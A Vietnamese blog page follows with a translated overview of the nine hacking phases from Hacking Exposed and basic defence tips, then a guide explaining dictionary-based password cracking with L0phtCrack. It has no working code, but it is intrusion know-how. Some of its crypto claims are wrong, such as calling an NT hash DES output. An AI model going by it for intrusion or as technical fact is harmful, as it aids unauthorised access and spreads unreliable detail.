Nhưng tại sao chúng ta lại phải quan tâm đến vấn đề đó. Tôi có thể nói về sự nghiêm trọng của việc deface (??) các trang web, ăn trộm các thong tin bí mật của công ty hay đột nhập vào các hệ thống của chính phủ, nhưng đơn giản hơn hãy để ý đến các lý do cá nhân mà chúng ta vần phải quan tâm.
Bây giờ xin đạt một câu hỏi. Bạn nghĩ thế nào về giá thị của các thông tin mà bạn có? Danh sách đối tác, email, số credit card hay các kế hoạch kinh doanh, báo cáo tài chính có ý nghĩa đối với bạn như thế nào?
Nếu tôi nói rằng tôi có thể đột nhập vào bất kỳ hệ thống nào, thì tôi có thể làm được những gì nhỉ? Tôi sẽ lấy số credit card để tiêu xài, thay đổi tài khoản ngân hang của bạn. Tôi có thể làm cho bạn trỏ thành mất tích ở trên mạng. Tôi cũng có thể bán các thong tin bí mật cho đối thủ cạnh tranh của bạn, hay làm cho hệ thống của bạn ngừng hoạt động, như vậy bạn sẽ bị lỗ nặng hehe.
Hoặc giả sử tôi là một nhân viên trong công ty của bạn, nhưng tôi bất mãn. Tôi có thể tấn công làm cho mạng không hoạt động, hay cài virus để cho bạn bị mất toàn bộ dữ liệu.
Bạn có chắc là chúng ta cần đến các biện pháp bảo mật không?
Vấn đề bảo mật có thể chia làm các nhóm sau:
1. Mạng và máy chủ bị cấu hình sai.
2. Hệ điều hành và ứng dụng bị lỗi.
3. Nhà cung cấp thiếu trách nhiệm
4. Thiếu những cá nhân đáng tin tưởng.
Cấu hình sai máy chủ:
Đây là nguyên nhân tạo ra đa phần các lỗ hổng bảo mật. Rất nhiều khi người quản trị không nhận biết được các dịch vụ đang chạy trên máy chủ của họ. Bạn có thể hỏi tại sao lại như vậy được? Hãy nghĩ đơn giản như chương trình Word, có bao nhiêu khả năng mà bạn biết được. Nếu biết một vài thứ cơ bản như viết macro thì bạn đã có thể trở thành người dung cao cấp rồi. Đa phần người dung chỉ biết đến các tính năng cơ bản như lưu, xoá, đánh vần, kẻ bảng .v.v.
Tương tự như vậy đối với hệ điều hành và ứng dụng. Sự thay đổi nhanh chóngcủa công nghệ làm cho chỉ một số ít người có thể theo kịp. Và như thê thì các máy tính nối mạng hiển nhiên là đang đối mặt với nguy cơ bị xâm nhập.
Sau đây là một vài ví dụ về các ứng dụng và dich vụ:
Hệ thống in trên mạng.
Hệ thống điều khiển từ xa.
Chia xe file.
Các mã CGI và script ví dụ.
Khi những hệ thống này sử dụng các giá trị mặc định hoặc bị cấu hình sai thì sẽ là cơ hội tốt để kẻ xấu (:)) xâm nhập.
Lỗi trong các ứng dụng:
Những lỗi nảy sinh khi lập trình là một yếu tố làm cho ứng dụng vượt ra ngoài tầm kiểm soát của người sử dụng. Ví dụ như những lỗi của MS IIS hay trong ISC BIND hay SSH và rất nhiều lỗi khác nữa trong các hệ thống của Sun. Đơn gian hơn nữa là lỗi của OE mà bạn có thể trở thành mục tiêu của virus, hãy nhớ tới "I LOVE YOU" hay "Melissa".
Những nhà cung cấp thiếu trách nhiêm:
Rất nhiều nhà cung cấp không quan tâm đến điều gì xảy ra trong chượng trình của họ. Việc đảm bảo chất lượng (QA)  trong ngành công nghiệp phần mềm rất yếu. Để tiết kiệm chi phí thì người ta thường không áp dụng những tiêu chuẩn về qui trình sản xuất. Thế thì ai phải chịu hậu quả của sự tối đầu của nhà cung cấp. Đó chính là các hệ thống mạng và máy tính bị phá hoại của bạn.
Trong trưòng hợp các bản sửa lỗi bị chậm chễ cũng có thể làm hại đến công tác bảo mật. Các khám phá lôc hổng  hoạt động với tốc độ ánh sang trong giới “chúng ta” . Từ các mail list hay diễn đàn như www.hackervn.net thì bọn họ chia xẻ với nhau những thong tin mới nhất, trong khi đó với sự chậm chạp của nhà cung cấp thì các hệ thống đã bị phá hoại chỉ sau một đêm.
Tư vấn không đủ trình độ:
Nếu như tất cả các vấn đề ở trên đều đựơc giải quyết thì bạn doanh nghiệp lại vấp phải một vấn đề khác là thiếu những các nhân đáng tin tưởng. Có thể thu thập một đỗi ngũ kỹ sư, quản trị và lập trình viên đủ trình độ, nhưng không dễ tìm ra các chuyên gia bảo mật giỏi, vì có lẽ bọn họ đã đi làm hacker hết cả rồi!.
Và không thể đào tạo đội ngũ chuyên gia bảo mật trong vài ngày. Đó là một quá trình rất dài, phải bắt đầu từ các kiến thức cơ bản như TCP/IP, phần cứng, hệ điều hành, mã hoá và lập trình. Nhưng như vậy mới chỉ đủ cho các hiểu biết sơ đẳng về bảo mật.
Việc thiếu nhân sự làm cho các chương trình về bảo mật trong doanh nghiệp bị xao lãng hoặc đi sai đường. Không có các chính sách về bảo mật hoặc nếu có thì không được hoàn chỉnh. Chính điều đó làm cho hệ thống của bạn bị tổn thương trước các cuộc tấn công.
Vậy thì các hacker xâm nhập vào hệ thống như thế nào?

Có thể vài người muốn kiện tôi vì việc viết ra nhưng tin này (có kiện thì kiên tác giả nhé đừng kiện người dịch). Tại sao? Đơn giản là bởi vì những thong tin sẽ được đưa ra có thể đem đến nhiều tác hại hơn là ích lợi (but not for hackers). Tôi không nói rằng những thong tin đó không thể bị lợi dụng, nhưng chỉ những ngưòi muốn bảo vệ chính mình, họ sẽ tìm thấy những gì họ muốn. Những thong tin này có đầy rẫy trên web và tất cả hacker đều biết. Còn những người dung bình thường thì không cần cố gắng để làm quen với chúng, vì chúng quá nguy hiểm. Bài viết chỉ đem đến cho họ một chút hiểu biết về những gì mà họ mong muốn.
Hacking có 9 bước đã được đề cập đến trong cuốn sách Hacking Exposed, bao gồm:
(chỗ này để đại TA cho dễ hiểu)
FootPrinting
Scanning
Enumeration
Gaining Access
Escalating Privileges
Pilfering
Covering Tracks
Creating "Back Doors"
Denial of Service
1. FootPrinting:
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
2. Scanning:
Khi đã có nhưng thong tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn rất nhiều nữa.
3. Enumeration:
Bước thứ ba là tìm kiếm những tài nguyên đựoc bảo vệ kém, hoạch tài khoản người dung mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dich vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này. 
4. Gaining Access:
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thong tin có đựơc ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giả mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các tool thường được sử dụng ở bước này là NAT, podium, hoặc Lopht.
5. Escalating Privileges:
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
6. Pilfering:
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
7. Covering Tracks:
Sau khi đã có những thong tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
8. Creating "Back Doors":
Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy cập trở lại bằng con đường bí mật không phải tốn nhiều công sức,  bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
9. Denial of Service (aka DoS):
Nêu không thành công trong việc xâm nhập, thì DoS là phượng tiên cuối cùng để tấn công hệ thống. Nếu hệ thong không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nũa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, và các loại nuker, flooder.
Vậy thì làm thế nào để tự bảo vệ?
Nếu bạn là người dùng cuối, bạn có thể hỏi như vậy. Đơn giản là vì không có gì 100% an toàn. Các lỗ hổng mới được tìm ra hàng ngày, các phương pháp mới cũng hình thành sau một đêm. Nhiều khi bạn nghĩ là an toàn, nhưng đến lúc nhận ra là bị xâm phạm thì đã muộn rồi.
Nhưng ở đây cũng có một vài hướng dẫn để bạn có thể tự bảo vệ mình:
Cài đặt firewall tốt và đảm bảo rằng nó được cấu hình chính xác.
Tắt tất cả các ứng dụng và dịch vụ của hệ thống mà bạn không sử dụng.
Không bao giờ mở những file đến từ người lạ.
Cài đặt các chương trinh diệt virus tốt và được cập nhật thường xuyên.
Cài đăt các bản sửa lỗi mới nhất và tham gia vào các hệ thống tin trực tuyến về bảo mật để thong tin được cập nhật kịp thời.
Có một chính sách bảo mật riêng cho mình.
Đảm bảo một hệ thống mạng tốt để tránh rủi ro.
Đầu tư các thiết bị phần cứng bảo mật tốt (money).
Sẽ không có một cuốn Kinh thánh nào về bảo mật cho bạn, tất cả chỉ là những chỉ dẫn phổ thong, nhưng đa phần người dung đã không để ý đến chúng và hâu quả là họ đã bị nguy  hiểm. Không thể chống lại hack được nhưng có thể giảm thiểu được nó :P
Bảo mật không phải là câu chuyện vui. Không có bảo mật  thì các máy tính nối mạng sẽ bị tàn phá, Nhũng lỗ hổng và các công cụ đã được thông báo thì nó sẽ không chỉ là thông báo, mà nó là điềm báo trước điều gì sẽ xảy ra.
Một vài lời khuyên:
Nếu bạn muốn học “Hack” thì còn phải đọc nhiều hơn nữa.
Hacking không chỉ là xâm nhập trái phép vào hệ thống máy tính. Nó còn hơn thế nữa. Nó là là thách thức mà bạn phải trải qua. Giống ngọn núi đối với người leo núi, và người leo núi đã được báo trước về tiềm năng tạo ra sự đau đớn lớn lao cho người khác. Nó không chỉ đơn giản nhu những ví dụ mà tôi đã đề cập đến.
Bất cứ  điều gì về hacking mà bạn đọc được đều có thể được sử dụng với mục đích tốt hay xấu. Tôi khuyên bạn nên xác đinh được mục đích trước khi chạy thử một chương trinh hack nào đó. Trở thành một hacker giỏi cũng không phải là một điều xấu, mà ngược lại nó còn rất tốt vì nhiều lý do. Vì vậy bạn nên cố gắng giúp đỡ những người bạn gặp để trở thành một hacker tốt. Có rất nhiều người không có một khái niệm nào về sự xâm nhập từ bên ngoài vào máy tính của họ.
Tôi cũng khuyên bạn học và học thật tốt một nghề để làm cho hiểu biết được mở rộng. Và luôn luôn, luôn luôn nghĩ đến việc hỗ trợ người khác dù cho bạn có đánh mất cơ hôi để tiến xa hơn.
Tất nhiên đó chỉ là lời khuyên! Hoàn toàn tuỳ thuộc ở bạn.
Đối với riêng tôi, tôi luôn cố gắng mở rộng kiến thức hoặc ít nhất cũng tìm đựơc sự hiểu biết về điều gì đang xảy ra trong thế giới máy tính.
+++ Hết +++

Bài dịch của vnofear

Rỗi rãi dịch bài này chơi  How Hackers

on Leave a Comment

Huong dan Crack Password

Phần 1 :
Giới thiệu :
Như các bạn đã biết trong việc bảo vệ một hệ thống, việc bảo vệ password luôn được coi trọng, chính vì vậy tài liệu này được soạn thảo nhằm giúp cho các bạn biết cách mà một chương trình bẻ khóa password làm việc.
Có rất nhiều cách để bảo mật một password trong một hệ thống vì vậy trong một tài liệu ít ỏi như thế này tôi không thể kể ra hết được tuy nhiên tôi sẽ hướng dẫn các bạn phương cách đơn giản nhất, đó là sự kết hợp giữa 3 yếu tố:
· Something you know
· Something you are
· Something you have
Thế nào là một chương trình bẻ khóa (password cracker) ???? Và một hacker đoán password như thế nào ????
Password cracker là một chương trình mà như tên gọi của nó tức là nó có khả năng giải mã hoặc vô hiệu hóa password. Hầu hết các password cracker làm công việc là xem xét các bước mã hóa password để phá vỡ nó (crack) hay dịch ngược nó lại. Kỹ thuật này sẽ được mô tả kỹ hơn sau này.
Không phải người nào cũng quan tâm đến việc lựa chọn một password an toàn . Nếu một password có trong một từ điển (hay nó có một nghĩa nào đó), thì chắc chắn password đó dễ dàng bị bẻ gãy (crack). Chỉ có những người đã có kinh nghiệm và rất cẩn thận mớitquan tâm đến điều đó, tuy nhiên họ lại không ngờ rằng password của họ nằm trong một thư mục nào đó, thật dễ dàng .Lại cũng có những người nói rằng họ không cần chọn một password phức tạp bởi vì họ không có những tập tin quan trọng. Chỉ những sai lầm như vậy họ cũng có thể tự làm hại mình bởi những hacker và những cỗ máy crack siêu hạng
Một vài hệ thống cho phép chúng ta đột nhập với những user như “demo” hay “guest” mà không cần biết password màta gọi đó là một default passwork. Vì sao có default password??? Không lẽ admin lại tự muốn cheat hay sao ??? Lý do là ở đây:
-Nhân viên của một cơ quan(hay thành viên của một tổ chức) được phép quản lý một số tài nguyên nhất định mà người chủ(admin) cho phép bằng cách dùng default password.
Và trong trường hợp admin là một người bận biụ với công việc hay là một lão già lẩm cẩm, hay quên thì họ luôn đặt password sao cho dễ nhớ (“love”,”money”,…) hoặc đơn giản password chỉ là một khoảng trắng . Nhiều hacker thường thử các default password, đoán password trước khi nghĩ các kế sách tinh vi hơn. Các acc của user thường bị hacker tấn công trước để lấy password và đột nhập vào một hệ thống với user “chùa” đó. Chỉ khi đã an toàn trong hệ thống, người tấn công sẽ tiến hành việc getadmin, ăn cắp file chứa password để giải mã... và ... chắc các bạn cũng đoán được phải không??????
Phần 2 :
Password có được hệ thống bảo vệ tốt không?????
Đầu tiên tôi xin nói đến công cụ tạo password (password generator), nó sẽ giúp mã hóa password mà bạn nhập vào. Hầu hết các công cụ này sử dụng vài quy tắc mã hóa nào đó. Các bạn có thể tìm được trên Internet một trang web trình bày rất chi tiết các cách mã hóa khác nhau, nhưng đó là việc của bạn, còn trong tài liệu này tôi sẽ chỉ nêu lên một định nghĩa nhỏ và chung nhất cho tất cả các cách mã hóa :
Mã hóa (Cryptography) được định nghĩa là: "một kiểu viết chữ đặc biệt dựa trên khoa học và trí tuệ (the science and study of secret writing)" , hay nói một cách bình dân, đó là cách dữ liệu được bảo vệ (encode) tránh khỏi bàn tay của những người cố ý muốn xem trộm hay phá phách ..., có thể dùng ký tự, chữ số, hay bất cứ phương thức nào, sao cho chỉ có những người thực sự (chứ không phải là hacker) biết cách mới có thể xem được nội dung thực sự của nó.
Có hai loại hệ thống mã hóa: đối xứng và không đối xứng. Hệ thống mã hóa đối xứng dùng những từ khóa giống nhau( từ khóa đặc biệt) để mã hóa cũng như giải mã một thông điệp (được xác nhận trong window), không đối xứng sử dụng một từ khóa(từ khóa chung, công khai) để mã hóa và một từ khóa khác (từ khóa riêng, bí mật) để giải mã. Hệ thống mã hóa không đối xứng còn được gọi với một cái tên khác là “Hệ thống mật mã sử dụng từ khóa chung (Public key cryptosytems) (PKC).
Chúng ta hãy lấy một ví dụ về thuật toán chuẩn mã hóa dữ liệu (Data Encryption Standard_DES ) và xem nó hoạt động như thế nào.
Password của bạn được lấy từ một vùng văn bản. Thật không may trong ví dụ này chúng ta lại sử dụng một password mà nhiều người ưa chuộng : Password.
Password này sử dụng một từ khóa để mã hóa một chuỗi giá trị 0 (series of zeros) (64 in all) và sau khi thi hành giá trị sẽ thay đổi . Kết quả sau khi đã được chuyển sang mật mã được ghi vào một văn bản trống . Trong cuộc kiểm tra của chúng tôi trên hệ thống win2000 kết quả cho ra 8846F7EAEE8FB117AD06BDD830B7586C
Cơ bản đó là một cách mã hóa của hệ thống mã hóa đối xứng. Thật thú vị, các thao tác và đoạn encode kia trông có vẻ rất đơn giản nhưng để giải mã chúng lại không đơn giản chút nào. Đây là vài số liệu sẽ giúp các bạn hiểu rõ được quá trình mã hóa trên :
Thuật toán mã hóa (DES) biến đổi một giá trị nhị phân 64 bit thành một giá trị nhị phân 64 bit độc nhất vô nhị dựa trên nền tảng là một biến 56 bit (biến 56-bit này chính là từ khóa) . Nếu việc xử lý thông tin đầu vào hoàn thành(nghĩa là đã được ghi vào bộ nhớ) và nếu cái biến 56 bit được chọn một cách ngẫu nhiên (random) thì không có một kỹ thuật nào tốt hơn là là thử tất cả các từ khóa có thể dùng để nhập và xuất trong DES nghĩa là các giá trị mà biến 56 bit kia có thể có (nếu tôi không nhầm thì có 70.000.000.000.000.000 trường hợp) , chắc chắn bạn sẽ tìm ra. Tính khả thi chỉ có nếu đó là một từ khóa mặc định, nhưng điều này rất khó sảy ra trong một thế giới đầy rẫy cạm bẫy ngày nay.
70 triệu tỷ có thể là một con số quá lớn và tưởng chừng như không thể nào crack được, nhiều hệ thống bảo mật còn sử dụng từ khóa lên đến 128 bit . Nhưng kết luận này chỉ có thể đúng trong chừng mực nào đó thôi bởi vì dù có khó khăn đến đâu, không có gì có thể cản trở chúng ta phải không các bạn
Phần 3 :
Sự phân tích so sánh là một kỹ thuật đã giải quyết hầu hết các vấn đề khi crack một password. Vì từ khóa mã hóa chỉ có một, cách dễ nhất và đơn giản nhất để crack từ khoá mà chúng ta chưa biết đó là tự mã hóa những ký tự khác nhau với những từ khóa có thể rồi so sánh chúng với kết quả tìm được, ở ví dụ phần 2 kết quả là :
8846F7EAEE8FB117AD06BDD830B7586C
Và đây là tất cả công việc chúng ta phải làm, lấy một từ điển mà nội dung của nó là một danh sách khổng lồ các từ, có lẽ nó ở đây:
ftp://ftp.cerias.purdue.edu/pub/dict/
Từ điển này muốn sử dụng phải có một chương trình dùng để crack một loại password nào đó (theo một loại mã hóa nhất định) mà ta gọi là password cracker.
Password cracker sẽ chạy từ đầu đến cuối từ điển, lấy từng từ, mã hóa so sánh với mớ lằng nhằng trên. Nếu có một từ nào khớp thì bạn có đến 90% thành công. Trông thì có vẻ rất lâu nhưng chắc các bạn cũng biết là máy móc làm việc nhanh hơn con người đến mức nào rồi chứ ?!?
Tôi xin giới thiệu với các bạn một chương trình crack password nổi tiếng L0pht crack. Đây là chương trình số một dùng để crack password của WindowsNT/2000
Bài viết của Windak